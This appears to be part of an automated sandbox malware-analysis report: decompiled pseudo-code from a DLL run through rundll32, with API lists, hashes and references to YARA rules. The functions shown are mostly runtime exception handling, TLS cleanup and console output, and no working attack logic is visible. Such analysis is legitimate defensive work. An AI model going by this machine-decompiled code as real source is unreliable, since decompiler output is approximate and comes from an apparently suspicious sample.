				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EDC0658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EDC1C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EDBF3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EDBF3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EDBEBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EDBEB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EDBF676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EDC1C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EDBF3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EDBF3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EDBF3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EDBEB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EDBF676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EDBF131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EDC0105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EDC0105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EDC1BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EDBFD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6edfe0c0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EDBF131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EDBFD81( &_v64);
											E6EDBE95C( &_v64, 0x6edfb17c);
											L63:
											 *(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EDBED1D(_t279, _t319, _t274);
											E6EDC0005(_a8, _a16, _t305);
											_t235 = E6EDC01C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EDBFF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EDBF7F3
type_info::operator==.LIBVCRUNTIME ref: 6EDBF815
___TypeMatch.LIBVCRUNTIME ref: 6EDBF924
IsInExceptionSpec.LIBVCRUNTIME ref: 6EDBF9F6
_UnwindNestedFrames.LIBCMT ref: 6EDBFA7A
CallUnexpected.LIBVCRUNTIME ref: 6EDBFA95

Strings

csm, xrefs: 6EDBF733
csm, xrefs: 6EDBF84C
csm, xrefs: 6EDBF7A0

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: b2771f919034b794a6a4a49b356337fac3239f049cb17ce6298c381c89a64a2f
Instruction ID: 8558fd57b8202cab64f58b4959c16fe5e13196c3ee55e5ce4f8f7cacc221efa1
Opcode Fuzzy Hash: b2771f919034b794a6a4a49b356337fac3239f049cb17ce6298c381c89a64a2f
Instruction Fuzzy Hash: B2B15FB9C0020AEFCF19DFE5CC9099EB7B9FF08314B24455AE8166B215E731DA51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EDAC340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6edfe12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6edfe12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6edfe12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6edfe12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6edfe12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6edfa300; // 0x70
					return _t26;
				}
			}

0x6edac344
0x6edac34b
0x6edac355
0x6edac35d
0x00000000
0x00000000
0x6edac369
0x6edac377
0x6edac37a
0x6edac37e
0x6edac387
0x6edac38e
0x6edac391
0x6edac394
0x6edac394
0x6edac370
0x6edac373
0x6edac39b
0x00000000
0x00000000
0x6edac3a1
0x6edac3a9
0x00000000
0x00000000
0x6edac3af
0x6edac3c7
0x6edac3ca
0x6edac3ce
0x6edac3d7
0x6edac3de
0x6edac3e1
0x6edac3e4
0x6edac3e4
0x6edac3c0
0x6edac3c3
0x6edac3eb
0x00000000
0x00000000
0x6edac3f1
0x6edac3f9
0x00000000
0x00000000
0x6edac3fb
0x6edac407
0x6edac40a
0x6edac40e
0x6edac417
0x6edac41e
0x6edac421
0x6edac424
0x6edac424
0x6edac400
0x6edac403
0x6edac42b
0x00000000
0x00000000
0x6edac42d
0x6edac435
0x00000000
0x00000000
0x6edac437
0x6edac447
0x6edac44a
0x6edac44e
0x6edac457
0x6edac45e
0x6edac461
0x6edac464
0x6edac464
0x6edac440
0x6edac443
0x6edac46b
0x6edac479
0x6edac484
0x6edac48b
0x6edac48f
0x6edac498
0x6edac49f
0x6edac4a2
0x6edac4a2
0x6edac481
0x6edac481
0x6edac484
0x00000000
0x6edac46d
0x6edac46d
0x6edac46d
0x6edac476
0x6edac476

APIs

TlsGetValue.KERNEL32(?), ref: 6EDAC37A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC387
TlsGetValue.KERNEL32(?), ref: 6EDAC3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC3D7
TlsGetValue.KERNEL32(?), ref: 6EDAC40A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC417
TlsGetValue.KERNEL32(?), ref: 6EDAC44A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC457
TlsGetValue.KERNEL32(?), ref: 6EDAC48B
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC498

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 729fcdfb2d90891941fcecd6ca77af004cc440c7e8a27369d1cd0bf02cae4b43
Instruction ID: 43a3bc7d5bb1d1ef551bef091e2270b597467a61fac2d9ed56bddb1625a25ed8
Opcode Fuzzy Hash: 729fcdfb2d90891941fcecd6ca77af004cc440c7e8a27369d1cd0bf02cae4b43
Instruction Fuzzy Hash: 8F41D23124424EEFEB50AFEDDC14BAA3754AF02BA0F044028EF154E155E7A1EB11E796

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB1BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E6EDB1BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6EDA3650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6edef570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6edf08cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6edf0904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6EDA3650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6EDB2730(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6EDB2470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6EDC99A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6edf086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6EDC94E0(_t96,  &M6EDEFBBA, 0x23, _t133, _t135, __eflags, 0x6edefc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6edef570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6edf08d4);
													L45:
													E6EDC9470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6EDA3650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6edf08cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6edf08e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6EDB2470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6edf08f4);
																	_push(_t156);
																	L48:
																	E6EDC9AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
